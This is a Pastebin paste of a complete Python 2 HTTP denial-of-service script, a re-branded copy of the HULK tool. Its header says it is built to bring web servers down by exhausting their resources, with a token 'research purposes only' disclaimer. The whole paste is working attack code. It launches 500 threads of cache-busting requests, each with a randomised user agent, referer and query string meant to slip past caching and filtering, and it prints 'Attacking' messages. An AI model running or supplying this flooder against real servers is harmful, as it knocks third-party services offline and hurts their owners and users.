Advertisement
JKD_Jacker

[ Hulk ] V1 by JKD

Feb 11th, 2016
14,621
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.00 KB | None | 0 0
  1. # Infi-Zeal Technologies
  2. # Regards,
  3. # Hardeep Singh
  4.  
  5. # ----------------------------------------------------------------------------------------------
  6. # HULK - HTTP Unbearable Load King
  7. #
  8. # this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them
  9. # to their knees by exhausting the resource pool, its is meant for research purposes only
  10. # and any malicious usage of this tool is prohibited.
  11. #
  12. # author : Barry Shteiman , version 1.0
  13. # ----------------------------------------------------------------------------------------------
  14. import urllib2
  15. import sys
  16. import threading
  17. import random
  18. import re
  19.  
  20. #global params
  21. url=''
  22. host=''
  23. headers_useragents=[]
  24. headers_referers=[]
  25. request_counter=0
  26. flag=0
  27. safe=0
  28.  
  29. def inc_counter():
  30. global request_counter
  31. request_counter+=1
  32.  
  33. def set_flag(val):
  34. global flag
  35. flag=val
  36.  
  37. def set_safe():
  38. global safe
  39. safe=1
  40.  
  41. # generates a user agent array
  42. def useragent_list():
  43. global headers_useragents
  44. headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  45. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  46. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  47. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  48. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  49. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  50. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  51. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  52. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  53. headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  54. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  55. headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  56. headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  57. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  58. headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  59. headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  60. return(headers_useragents)
  61.  
  62. # generates a referer array
  63. def referer_list():
  64. global headers_referers
  65. headers_referers.append('http://www.google.com/?q=')
  66. headers_referers.append('http://www.usatoday.com/search/results?q=')
  67. headers_referers.append('http://engadget.search.aol.com/search?q=')
  68. headers_referers.append('http://yandex.ru/yandsearch?text=%D1%%D2%?=g.sql()81%..')
  69. headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1?&saf..,or.r_gc.r_pw=?.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=882')
  70. headers_referers.append('http://' + host + '/')
  71. return(headers_referers)
  72.  
  73. #builds random ascii string
  74. def buildblock(size):
  75. out_str = ''
  76. for i in range(0, size):
  77. a = random.randint(65, 90)
  78. out_str += chr(a)
  79. return(out_str)
  80.  
  81. def usage():
  82. print ' _| _| _| _|_|_| _| _| _| _| _|_| '
  83. print ' _| _| _| _| _| _|_| _|_| _| _| _| _| '
  84. print ' _| _|_| _| _| _|_|_|_|_| _| _| _|_|_|_| _| '
  85. print '_| _| _| _| _| _| _| _| _| _| '
  86. print ' _|_| _| _| _|_|_| _| _| _| _|_|_|_| '
  87.  
  88.  
  89. #http request
  90. def httpcall(url):
  91. useragent_list()
  92. referer_list()
  93. code=0
  94. if url.count("?")>0:
  95. param_joiner="&"
  96. else:
  97. param_joiner="?"
  98. request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  99. request.add_header('User-Agent', random.choice(headers_useragents))
  100. request.add_header('Cache-Control', 'no-cache')
  101. request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  102. request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
  103. request.add_header('Keep-Alive', random.randint(110,120))
  104. request.add_header('Connection', 'keep-alive')
  105. request.add_header('Host',host)
  106. try:
  107. urllib2.urlopen(request)
  108. except urllib2.HTTPError, e:
  109. #print e.code
  110. set_flag(1)
  111. print 'JKD-1142 Attacking'
  112. code=500
  113. except urllib2.URLError, e:
  114. #print e.reason
  115. sys.exit()
  116. else:
  117. inc_counter()
  118. urllib2.urlopen(request)
  119. return(code)
  120.  
  121.  
  122. #http caller thread
  123. class HTTPThread(threading.Thread):
  124. def run(self):
  125. try:
  126. while flag<2:
  127. code=httpcall(url)
  128. if (code==500) & (safe==1):
  129. set_flag(2)
  130. except Exception, ex:
  131. pass
  132.  
  133. # monitors http threads and counts requests
  134. class MonitorThread(threading.Thread):
  135. def run(self):
  136. previous=request_counter
  137. while flag==0:
  138. if (previous+100<request_counter) & (previous<>request_counter):
  139. print "%d JKD-1142" % (request_counter)
  140. previous=request_counter
  141. if flag==2:
  142. print "\n-- Hello Vs Say GoodBye --"
  143.  
  144. #execute
  145. if len(sys.argv) < 2:
  146. usage()
  147. sys.exit()
  148. else:
  149. if sys.argv[1]=="help":
  150. usage()
  151. sys.exit()
  152. else:
  153. print "-- Hello Vs Say GoodBye --"
  154. if len(sys.argv)== 3:
  155. if sys.argv[2]=="safe":
  156. set_safe()
  157. url = sys.argv[1]
  158. if url.count("/")==2:
  159. url = url + "/"
  160. m = re.search('http\://([^/]*)/?.*', url)
  161. host = m.group(1)
  162. for i in range(500):
  163. t = HTTPThread()
  164. t.start()
  165. t = MonitorThread()
  166. t.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement